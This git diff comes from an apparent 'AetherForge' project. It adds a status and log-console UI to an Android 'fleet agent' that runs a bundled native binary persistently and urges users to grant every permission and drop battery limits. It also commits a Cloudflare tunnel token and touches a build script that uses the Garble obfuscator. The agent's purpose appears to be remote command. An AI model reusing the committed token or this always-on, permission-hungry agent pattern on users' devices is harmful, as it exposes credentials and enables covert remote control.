AgentService.start(this, serviceIntent)
|
|
||||||
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,13 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
|
||||||
android:width="108dp"
|
|
||||||
android:height="108dp"
|
|
||||||
android:viewportWidth="108"
|
|
||||||
android:viewportHeight="108">
|
|
||||||
<path
|
|
||||||
android:fillColor="#22D3EE"
|
|
||||||
android:pathData="M54,24 L78,42 L78,66 L54,84 L30,66 L30,42 Z" />
|
|
||||||
<path
|
|
||||||
android:fillColor="#0F172A"
|
|
||||||
android:pathData="M54,38 L66,48 L66,60 L54,70 L42,60 L42,48 Z" />
|
|
||||||
</vector>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
|
||||||
<background android:drawable="@color/ic_launcher_background" />
|
|
||||||
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
|
||||||
</adaptive-icon>
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
|
|
||||||
android:src="@drawable/ic_launcher_foreground" />
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<resources>
|
|
||||||
<color name="ic_launcher_background">#0F172A</color>
|
|
||||||
</resources>
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<resources>
|
|
||||||
<string name="app_name">AetherForge Agent</string>
|
|
||||||
<string name="permission_intro_title">Your fleet node</string>
|
|
||||||
<string name="permission_intro_body">Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.</string>
|
|
||||||
<string name="notification_channel_name">Fleet sync</string>
|
|
||||||
<string name="notification_channel_desc">Keeps your AetherForge fleet node connected</string>
|
|
||||||
<string name="notification_title">Fleet sync</string>
|
|
||||||
<string name="notification_body">AetherForge agent connected to command deck</string>
|
|
||||||
<string name="battery_hint">For reliable background sync, disable battery optimizations for this app when prompted.</string>
|
|
||||||
<string name="service_started">Fleet agent service started</string>
|
|
||||||
<string name="service_failed">Could not start fleet agent — see logcat</string>
|
|
||||||
<string name="open_battery_settings">Battery optimization settings</string>
|
|
||||||
</resources>
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<resources>
|
|
||||||
<style name="Theme.AetherForgeAgent" parent="Theme.AppCompat.DayNight.NoActionBar">
|
|
||||||
<item name="android:statusBarColor">#111827</item>
|
|
||||||
<item name="android:navigationBarColor">#111827</item>
|
|
||||||
<item name="android:windowBackground">#111827</item>
|
|
||||||
<item name="colorPrimary">#22d3ee</item>
|
|
||||||
</style>
|
|
||||||
</resources>
|
|
||||||
@@ -46,6 +46,7 @@ object AgentProcess {
|
|||||||
process?.inputStream?.bufferedReader()?.use { reader ->
|
process?.inputStream?.bufferedReader()?.use { reader ->
|
||||||
reader.lineSequence().forEach { line ->
|
reader.lineSequence().forEach { line ->
|
||||||
Log.i("$TAG:agent", line)
|
Log.i("$TAG:agent", line)
|
||||||
|
LogBuffer.add(line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, "agent-log-drain").apply {
|
}, "agent-log-drain").apply {
|
||||||
|
|||||||
@@ -20,6 +20,10 @@ class AgentService : Service() {
|
|||||||
const val NOTIFICATION_ID = 41001
|
const val NOTIFICATION_ID = 41001
|
||||||
private const val CHANNEL_ID = "fleet_sync"
|
private const val CHANNEL_ID = "fleet_sync"
|
||||||
|
|
||||||
|
@Volatile
|
||||||
|
var isRunning = false
|
||||||
|
internal set
|
||||||
|
|
||||||
fun start(context: Context, extras: Intent? = null) {
|
fun start(context: Context, extras: Intent? = null) {
|
||||||
val intent = Intent(context, AgentService::class.java).apply {
|
val intent = Intent(context, AgentService::class.java).apply {
|
||||||
action = ACTION_START
|
action = ACTION_START
|
||||||
@@ -72,10 +76,12 @@ class AgentService : Service() {
|
|||||||
if (!AgentProcess.isAlive()) {
|
if (!AgentProcess.isAlive()) {
|
||||||
AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
|
AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
|
||||||
}
|
}
|
||||||
|
isRunning = true
|
||||||
return START_STICKY
|
return START_STICKY
|
||||||
}
|
}
|
||||||
|
|
||||||
override fun onDestroy() {
|
override fun onDestroy() {
|
||||||
|
isRunning = false
|
||||||
AgentProcess.stop()
|
AgentProcess.stop()
|
||||||
super.onDestroy()
|
super.onDestroy()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,19 +13,25 @@ object BinaryExtractor {
|
|||||||
fun ensureBinary(context: Context): File? {
|
fun ensureBinary(context: Context): File? {
|
||||||
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
|
||||||
val outFile = File(outDir, BIN_NAME)
|
val outFile = File(outDir, BIN_NAME)
|
||||||
val assetSize = assetSize(context)
|
|
||||||
if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
|
val packageInfo = runCatching {
|
||||||
|
context.packageManager.getPackageInfo(context.packageName, 0)
|
||||||
|
}.getOrNull()
|
||||||
|
val lastUpdate = packageInfo?.lastUpdateTime ?: 0L
|
||||||
|
val prefs = context.getSharedPreferences("aetherforge_agent", Context.MODE_PRIVATE)
|
||||||
|
val lastExtractedUpdate = prefs.getLong("last_extracted_update", 0L)
|
||||||
|
|
||||||
|
if (outFile.exists() && lastExtractedUpdate == lastUpdate && lastUpdate != 0L) {
|
||||||
outFile.setExecutable(true, false)
|
outFile.setExecutable(true, false)
|
||||||
outFile.setReadable(true, false)
|
outFile.setReadable(true, false)
|
||||||
return outFile
|
return outFile
|
||||||
}
|
}
|
||||||
return extract(context, outFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun assetSize(context: Context): Long {
|
val result = extract(context, outFile)
|
||||||
return runCatching {
|
if (result != null && lastUpdate != 0L) {
|
||||||
context.assets.openFd(ASSET_NAME).use { it.length }
|
prefs.edit().putLong("last_extracted_update", lastUpdate).apply()
|
||||||
}.getOrDefault(0L)
|
}
|
||||||
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun extract(context: Context, outFile: File): File? {
|
private fun extract(context: Context, outFile: File): File? {
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.aetherforge.agent
|
||||||
|
|
||||||
|
import java.util.concurrent.CopyOnWriteArrayList
|
||||||
|
|
||||||
|
object LogBuffer {
|
||||||
|
private val buffer = CopyOnWriteArrayList<String>()
|
||||||
|
|
||||||
|
@Volatile
|
||||||
|
private var listener: ((String) -> Unit)? = null
|
||||||
|
|
||||||
|
fun add(line: String) {
|
||||||
|
buffer.add(line)
|
||||||
|
if (buffer.size > 200) {
|
||||||
|
buffer.removeAt(0)
|
||||||
|
}
|
||||||
|
listener?.invoke(line)
|
||||||
|
}
|
||||||
|
|
||||||
|
fun getLogs(): List<String> = buffer
|
||||||
|
|
||||||
|
@Synchronized
|
||||||
|
fun setListener(l: ((String) -> Unit)?) {
|
||||||
|
listener = l
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,13 +3,24 @@ package com.aetherforge.agent
|
|||||||
import android.Manifest
|
import android.Manifest
|
||||||
import android.content.Intent
|
import android.content.Intent
|
||||||
import android.content.pm.PackageManager
|
import android.content.pm.PackageManager
|
||||||
|
import android.graphics.Color
|
||||||
|
import android.graphics.Typeface
|
||||||
|
import android.graphics.drawable.GradientDrawable
|
||||||
import android.net.Uri
|
import android.net.Uri
|
||||||
import android.os.Build
|
import android.os.Build
|
||||||
import android.os.Bundle
|
import android.os.Bundle
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
import android.os.PowerManager
|
import android.os.PowerManager
|
||||||
import android.provider.Settings
|
import android.provider.Settings
|
||||||
|
import android.view.Gravity
|
||||||
|
import android.view.View
|
||||||
|
import android.view.animation.AlphaAnimation
|
||||||
|
import android.view.animation.Animation
|
||||||
import android.widget.Button
|
import android.widget.Button
|
||||||
|
import android.widget.HorizontalScrollView
|
||||||
import android.widget.LinearLayout
|
import android.widget.LinearLayout
|
||||||
|
import android.widget.ScrollView
|
||||||
import android.widget.TextView
|
import android.widget.TextView
|
||||||
import android.widget.Toast
|
import android.widget.Toast
|
||||||
import androidx.activity.result.contract.ActivityResultContracts
|
import androidx.activity.result.contract.ActivityResultContracts
|
||||||
@@ -20,6 +31,26 @@ class MainActivity : AppCompatActivity() {
|
|||||||
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
|
||||||
private lateinit var pendingPermissions: List<String>
|
private lateinit var pendingPermissions: List<String>
|
||||||
|
|
||||||
|
private lateinit var statusText: TextView
|
||||||
|
private lateinit var statusDot: View
|
||||||
|
private lateinit var logConsole: TextView
|
||||||
|
private lateinit var logScrollView: ScrollView
|
||||||
|
private lateinit var batteryCard: LinearLayout
|
||||||
|
private lateinit var toggleButton: Button
|
||||||
|
|
||||||
|
private lateinit var configServerVal: TextView
|
||||||
|
private lateinit var configNodeVal: TextView
|
||||||
|
private lateinit var configBuildVal: TextView
|
||||||
|
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
private val uiUpdateRunnable = object : Runnable {
|
||||||
|
override fun run() {
|
||||||
|
updateStatusUi()
|
||||||
|
checkBatteryOptimizationCard()
|
||||||
|
handler.postDelayed(this, 1000)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private val permissionLauncher =
|
private val permissionLauncher =
|
||||||
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
|
||||||
val denied = results.filterValues { !it }.keys
|
val denied = results.filterValues { !it }.keys
|
||||||
@@ -37,6 +68,22 @@ class MainActivity : AppCompatActivity() {
|
|||||||
super.onCreate(savedInstanceState)
|
super.onCreate(savedInstanceState)
|
||||||
setContentView(buildLayout())
|
setContentView(buildLayout())
|
||||||
|
|
||||||
|
// Start live log collection UI callback
|
||||||
|
LogBuffer.setListener { line ->
|
||||||
|
handler.post {
|
||||||
|
appendConsoleLog(line)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize display with existing logs
|
||||||
|
val existingLogs = LogBuffer.getLogs()
|
||||||
|
if (existingLogs.isNotEmpty()) {
|
||||||
|
val sb = StringBuilder()
|
||||||
|
existingLogs.forEach { sb.append(it).append("\n") }
|
||||||
|
logConsole.text = sb.toString()
|
||||||
|
scrollToBottom()
|
||||||
|
}
|
||||||
|
|
||||||
if (!prefs.getBoolean("permissions_requested", false)) {
|
if (!prefs.getBoolean("permissions_requested", false)) {
|
||||||
prefs.edit().putBoolean("permissions_requested", true).apply()
|
prefs.edit().putBoolean("permissions_requested", true).apply()
|
||||||
beginPermissionFlow()
|
beginPermissionFlow()
|
||||||
@@ -45,32 +92,318 @@ class MainActivity : AppCompatActivity() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun buildLayout(): LinearLayout {
|
override fun onResume() {
|
||||||
val pad = (24 * resources.displayMetrics.density).toInt()
|
super.onResume()
|
||||||
return LinearLayout(this).apply {
|
handler.post(uiUpdateRunnable)
|
||||||
|
scrollToBottom()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onPause() {
|
||||||
|
super.onPause()
|
||||||
|
handler.removeCallbacks(uiUpdateRunnable)
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDestroy() {
|
||||||
|
LogBuffer.setListener(null)
|
||||||
|
super.onDestroy()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun buildLayout(): View {
|
||||||
|
val density = resources.displayMetrics.density
|
||||||
|
val pad = (20 * density).toInt()
|
||||||
|
val padHalf = (10 * density).toInt()
|
||||||
|
|
||||||
|
// Root container
|
||||||
|
val root = LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.VERTICAL
|
||||||
|
setBackgroundColor(0xFF0F172A.toInt()) // Deep Dark Slate
|
||||||
|
setPadding(pad, pad, pad, pad)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Top Status Header Card
|
||||||
|
val headerCard = LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.HORIZONTAL
|
||||||
|
gravity = Gravity.CENTER_VERTICAL
|
||||||
|
setPadding(pad, padHalf, pad, padHalf)
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF1E293B.toInt()) // Slate 800
|
||||||
|
cornerRadius = 8 * density
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
statusDot = View(this).apply {
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
shape = GradientDrawable.OVAL
|
||||||
|
setColor(0xFF64748B.toInt()) // Start with Offline (Slate 500)
|
||||||
|
}
|
||||||
|
val size = (12 * density).toInt()
|
||||||
|
layoutParams = LinearLayout.LayoutParams(size, size).apply {
|
||||||
|
marginEnd = (12 * density).toInt()
|
||||||
|
}
|
||||||
|
// Pulse animation
|
||||||
|
startAnimation(AlphaAnimation(0.4f, 1.0f).apply {
|
||||||
|
duration = 800
|
||||||
|
repeatMode = Animation.REVERSE
|
||||||
|
repeatCount = Animation.INFINITE
|
||||||
|
})
|
||||||
|
}
|
||||||
|
headerCard.addView(statusDot)
|
||||||
|
|
||||||
|
statusText = TextView(this).apply {
|
||||||
|
text = "AGENT OFFLINE"
|
||||||
|
textSize = 15f
|
||||||
|
typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
|
||||||
|
setTextColor(0xFF94A3B8.toInt())
|
||||||
|
layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
|
||||||
|
}
|
||||||
|
headerCard.addView(statusText)
|
||||||
|
|
||||||
|
toggleButton = Button(this).apply {
|
||||||
|
text = "START"
|
||||||
|
textSize = 13f
|
||||||
|
setTextColor(Color.WHITE)
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF0EA5E9.toInt()) // Cyan 500
|
||||||
|
cornerRadius = 4 * density
|
||||||
|
}
|
||||||
|
setPadding(padHalf, 0, padHalf, 0)
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.WRAP_CONTENT,
|
||||||
|
(36 * density).toInt()
|
||||||
|
)
|
||||||
|
setOnClickListener { toggleAgentService() }
|
||||||
|
}
|
||||||
|
headerCard.addView(toggleButton)
|
||||||
|
root.addView(headerCard)
|
||||||
|
|
||||||
|
// Battery Optimization Warning Card
|
||||||
|
batteryCard = LinearLayout(this).apply {
|
||||||
orientation = LinearLayout.VERTICAL
|
orientation = LinearLayout.VERTICAL
|
||||||
setPadding(pad, pad, pad, pad)
|
setPadding(pad, pad, pad, pad)
|
||||||
addView(TextView(context).apply {
|
background = GradientDrawable().apply {
|
||||||
text = getString(R.string.permission_intro_title)
|
setColor(0xFF334155.toInt()) // Slate 700
|
||||||
textSize = 22f
|
cornerRadius = 8 * density
|
||||||
setTextColor(0xFFE2E8F0.toInt())
|
setStroke((1 * density).toInt(), 0xFFF59E0B.toInt()) // Amber Border
|
||||||
|
}
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.MATCH_PARENT,
|
||||||
|
LinearLayout.LayoutParams.WRAP_CONTENT
|
||||||
|
).apply {
|
||||||
|
topMargin = padHalf
|
||||||
|
}
|
||||||
|
visibility = View.GONE // Hidden by default; shown if needed at runtime
|
||||||
|
}
|
||||||
|
|
||||||
|
batteryCard.addView(TextView(this).apply {
|
||||||
|
text = "BACKGROUND SYNC EXEMPTION REQUIRED"
|
||||||
|
textSize = 12f
|
||||||
|
typeface = Typeface.DEFAULT_BOLD
|
||||||
|
setTextColor(0xFFF59E0B.toInt()) // Amber 500
|
||||||
})
|
})
|
||||||
addView(TextView(context).apply {
|
|
||||||
text = getString(R.string.permission_intro_body)
|
batteryCard.addView(TextView(this).apply {
|
||||||
textSize = 15f
|
|
||||||
setTextColor(0xFF94A3B8.toInt())
|
|
||||||
setPadding(0, pad / 2, 0, pad)
|
|
||||||
})
|
|
||||||
addView(TextView(context).apply {
|
|
||||||
text = getString(R.string.battery_hint)
|
text = getString(R.string.battery_hint)
|
||||||
textSize = 14f
|
textSize = 13f
|
||||||
setTextColor(0xFF64748B.toInt())
|
setTextColor(0xFFCBD5E1.toInt()) // Slate 300
|
||||||
setPadding(0, 0, 0, pad)
|
setPadding(0, padHalf / 2, 0, padHalf)
|
||||||
})
|
})
|
||||||
addView(Button(context).apply {
|
|
||||||
|
batteryCard.addView(Button(this).apply {
|
||||||
text = getString(R.string.open_battery_settings)
|
text = getString(R.string.open_battery_settings)
|
||||||
|
textSize = 12f
|
||||||
|
setTextColor(Color.WHITE)
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFFD97706.toInt()) // Amber 600
|
||||||
|
cornerRadius = 4 * density
|
||||||
|
}
|
||||||
setOnClickListener { openBatteryOptimizationSettings() }
|
setOnClickListener { openBatteryOptimizationSettings() }
|
||||||
})
|
})
|
||||||
|
root.addView(batteryCard)
|
||||||
|
|
||||||
|
// Monospace Terminal Console Section
|
||||||
|
val consoleTitleLayout = LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.HORIZONTAL
|
||||||
|
gravity = Gravity.CENTER_VERTICAL
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.MATCH_PARENT,
|
||||||
|
LinearLayout.LayoutParams.WRAP_CONTENT
|
||||||
|
).apply {
|
||||||
|
topMargin = pad
|
||||||
|
bottomMargin = padHalf / 2
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
consoleTitleLayout.addView(TextView(this).apply {
|
||||||
|
text = "LIVE AGENT CONSOLE"
|
||||||
|
textSize = 12f
|
||||||
|
typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
|
||||||
|
setTextColor(0xFF38BDF8.toInt()) // Light Blue / Cyan 400
|
||||||
|
layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
|
||||||
|
})
|
||||||
|
|
||||||
|
consoleTitleLayout.addView(Button(this).apply {
|
||||||
|
text = "CLEAR"
|
||||||
|
textSize = 11f
|
||||||
|
setTextColor(0xFF94A3B8.toInt())
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF1E293B.toInt()) // Slate 800
|
||||||
|
cornerRadius = 4 * density
|
||||||
|
}
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.WRAP_CONTENT,
|
||||||
|
(28 * density).toInt()
|
||||||
|
)
|
||||||
|
setOnClickListener { logConsole.text = "" }
|
||||||
|
})
|
||||||
|
root.addView(consoleTitleLayout)
|
||||||
|
|
||||||
|
logScrollView = ScrollView(this).apply {
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF1E293B.toInt()) // Dark Console background
|
||||||
|
cornerRadius = 6 * density
|
||||||
|
}
|
||||||
|
setPadding(padHalf, padHalf, padHalf, padHalf)
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.MATCH_PARENT,
|
||||||
|
0,
|
||||||
|
1.0f
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Horizontal Scroll for long log lines
|
||||||
|
val hscroll = HorizontalScrollView(this).apply {
|
||||||
|
isFillViewport = true
|
||||||
|
}
|
||||||
|
|
||||||
|
logConsole = TextView(this).apply {
|
||||||
|
textSize = 11f
|
||||||
|
typeface = Typeface.MONOSPACE
|
||||||
|
setTextColor(0xFF34D399.toInt()) // Emerald Green text
|
||||||
|
setLineSpacing(2f, 1.1f)
|
||||||
|
text = "Initializing AetherForge Fleet Console...\n"
|
||||||
|
}
|
||||||
|
hscroll.addView(logConsole)
|
||||||
|
logScrollView.addView(hscroll)
|
||||||
|
root.addView(logScrollView)
|
||||||
|
|
||||||
|
// Config Info details footer
|
||||||
|
val footerCard = LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.VERTICAL
|
||||||
|
setPadding(pad, pad, pad, pad)
|
||||||
|
background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF1E293B.toInt())
|
||||||
|
cornerRadius = 8 * density
|
||||||
|
}
|
||||||
|
layoutParams = LinearLayout.LayoutParams(
|
||||||
|
LinearLayout.LayoutParams.MATCH_PARENT,
|
||||||
|
LinearLayout.LayoutParams.WRAP_CONTENT
|
||||||
|
).apply {
|
||||||
|
topMargin = pad
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
val addConfigRow = { label: String, keyText: String ->
|
||||||
|
val row = LinearLayout(this).apply {
|
||||||
|
orientation = LinearLayout.HORIZONTAL
|
||||||
|
setPadding(0, 2 * (density).toInt(), 0, 2 * (density).toInt())
|
||||||
|
}
|
||||||
|
row.addView(TextView(this).apply {
|
||||||
|
text = label
|
||||||
|
textSize = 11f
|
||||||
|
setTextColor(0xFF64748B.toInt())
|
||||||
|
layoutParams = LinearLayout.LayoutParams((100 * density).toInt(), LinearLayout.LayoutParams.WRAP_CONTENT)
|
||||||
|
})
|
||||||
|
val valView = TextView(this).apply {
|
||||||
|
text = keyText
|
||||||
|
textSize = 11f
|
||||||
|
typeface = Typeface.MONOSPACE
|
||||||
|
setTextColor(0xFF94A3B8.toInt())
|
||||||
|
layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
|
||||||
|
}
|
||||||
|
row.addView(valView)
|
||||||
|
footerCard.addView(row)
|
||||||
|
valView
|
||||||
|
}
|
||||||
|
|
||||||
|
// Populate dynamic config rows
|
||||||
|
val defaultCfg = AgentConfig.load(this)
|
||||||
|
configServerVal = addConfigRow("Server URL:", defaultCfg.serverUrl)
|
||||||
|
configNodeVal = addConfigRow("Fleet Node:", defaultCfg.workerName)
|
||||||
|
configBuildVal = addConfigRow("Build ID:", defaultCfg.buildId)
|
||||||
|
|
||||||
|
root.addView(footerCard)
|
||||||
|
return root
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun updateStatusUi() {
|
||||||
|
val defaultCfg = AgentConfig.load(this)
|
||||||
|
configServerVal.text = defaultCfg.serverUrl
|
||||||
|
configNodeVal.text = defaultCfg.workerName
|
||||||
|
configBuildVal.text = defaultCfg.buildId
|
||||||
|
|
||||||
|
val density = resources.displayMetrics.density
|
||||||
|
if (AgentService.isRunning && AgentProcess.isAlive()) {
|
||||||
|
statusText.text = "AGENT CONNECTED"
|
||||||
|
statusText.setTextColor(0xFF34D399.toInt()) // Emerald Green
|
||||||
|
statusDot.background = GradientDrawable().apply {
|
||||||
|
shape = GradientDrawable.OVAL
|
||||||
|
setColor(0xFF34D399.toInt())
|
||||||
|
}
|
||||||
|
toggleButton.text = "STOP"
|
||||||
|
toggleButton.background = GradientDrawable().apply {
|
||||||
|
setColor(0xFFEF4444.toInt()) // Red 500
|
||||||
|
cornerRadius = 4 * density
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
statusText.text = "AGENT OFFLINE"
|
||||||
|
statusText.setTextColor(0xFF94A3B8.toInt())
|
||||||
|
statusDot.background = GradientDrawable().apply {
|
||||||
|
shape = GradientDrawable.OVAL
|
||||||
|
setColor(0xFF64748B.toInt())
|
||||||
|
}
|
||||||
|
toggleButton.text = "START"
|
||||||
|
toggleButton.background = GradientDrawable().apply {
|
||||||
|
setColor(0xFF0EA5E9.toInt()) // Cyan 500
|
||||||
|
cornerRadius = 4 * density
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun checkBatteryOptimizationCard() {
|
||||||
|
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||||
|
if (pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||||
|
batteryCard.visibility = View.GONE
|
||||||
|
} else {
|
||||||
|
batteryCard.visibility = View.VISIBLE
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun toggleAgentService() {
|
||||||
|
if (AgentService.isRunning) {
|
||||||
|
val intent = Intent(this, AgentService::class.java)
|
||||||
|
stopService(intent)
|
||||||
|
Toast.makeText(this, "Stopped fleet service", Toast.LENGTH_SHORT).show()
|
||||||
|
} else {
|
||||||
|
startFleetService()
|
||||||
|
}
|
||||||
|
updateStatusUi()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun appendConsoleLog(line: String) {
|
||||||
|
logConsole.append(line + "\n")
|
||||||
|
val txt = logConsole.text
|
||||||
|
if (txt.length > 30000) {
|
||||||
|
val idx = txt.indexOf('\n', txt.length - 20000)
|
||||||
|
if (idx != -1) {
|
||||||
|
logConsole.text = txt.subSequence(idx + 1, txt.length)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scrollToBottom()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun scrollToBottom() {
|
||||||
|
logScrollView.post {
|
||||||
|
logScrollView.fullScroll(View.FOCUS_DOWN)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -90,15 +423,22 @@ class MainActivity : AppCompatActivity() {
|
|||||||
private fun beginPermissionFlow() {
|
private fun beginPermissionFlow() {
|
||||||
pendingPermissions = requiredRuntimePermissions()
|
pendingPermissions = requiredRuntimePermissions()
|
||||||
if (pendingPermissions.isEmpty()) {
|
if (pendingPermissions.isEmpty()) {
|
||||||
openBatteryOptimizationSettings()
|
checkBatteryOptimizationSettingsFlow()
|
||||||
startFleetService()
|
startFleetService()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
permissionLauncher.launch(pendingPermissions.toTypedArray())
|
permissionLauncher.launch(pendingPermissions.toTypedArray())
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun requestNextPermissionBatch() {
|
private fun checkBatteryOptimizationSettingsFlow() {
|
||||||
|
val pm = getSystemService(POWER_SERVICE) as PowerManager
|
||||||
|
if (!pm.isIgnoringBatteryOptimizations(packageName)) {
|
||||||
openBatteryOptimizationSettings()
|
openBatteryOptimizationSettings()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun requestNextPermissionBatch() {
|
||||||
|
checkBatteryOptimizationSettingsFlow()
|
||||||
startFleetService()
|
startFleetService()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -118,6 +458,5 @@ class MainActivity : AppCompatActivity() {
|
|||||||
intent?.extras?.let { putExtras(it) }
|
intent?.extras?.let { putExtras(it) }
|
||||||
}
|
}
|
||||||
AgentService.start(this, serviceIntent)
|
AgentService.start(this, serviceIntent)
|
||||||
Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
1
data/cloudflared-token.txt
Normal file
1
data/cloudflared-token.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9
|
||||||
66
devrun.bat
66
devrun.bat
@@ -73,7 +73,7 @@ echo Go installed.
|
|||||||
|
|
||||||
:go_ready
|
:go_ready
|
||||||
|
|
||||||
:: Garble + go-winres (Forge pipeline tools — failure is non-fatal)
|
:: Garble + go-winres (Forge pipeline tools ??? failure is non-fatal)
|
||||||
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
|
echo [1.5/5] Checking Forge tools (Garble, go-winres)...
|
||||||
where garble >nul 2>nul
|
where garble >nul 2>nul
|
||||||
if errorlevel 1 (
|
if errorlevel 1 (
|
||||||
@@ -131,6 +131,26 @@ echo Node.js installed.
|
|||||||
|
|
||||||
:node_ready
|
:node_ready
|
||||||
|
|
||||||
|
:: ============================================================
|
||||||
|
:: STEP 2b: Git pull + UI build (shared with LAUNCH.bat)
|
||||||
|
:: ============================================================
|
||||||
|
if defined SKIP_FRONTEND (
|
||||||
|
echo.
|
||||||
|
echo Pulling latest ^(UI build skipped - Node.js unavailable^)...
|
||||||
|
git -C "%ROOT%" pull origin main 2>nul
|
||||||
|
if errorlevel 1 echo Note: git pull skipped or failed.
|
||||||
|
) else (
|
||||||
|
echo.
|
||||||
|
echo Pulling latest + building UI...
|
||||||
|
set "PREP=%ROOT%\scripts\launch-prep.bat"
|
||||||
|
if exist "%PREP%" (
|
||||||
|
call "%PREP%" "%ROOT%"
|
||||||
|
if errorlevel 1 goto fatal_exit
|
||||||
|
) else (
|
||||||
|
echo WARNING: scripts\launch-prep.bat missing - skipping pull/UI prep.
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
:: STEP 3: Data directories
|
:: STEP 3: Data directories
|
||||||
:: ============================================================
|
:: ============================================================
|
||||||
@@ -142,44 +162,6 @@ if not exist "data\preps" mkdir "data\preps"
|
|||||||
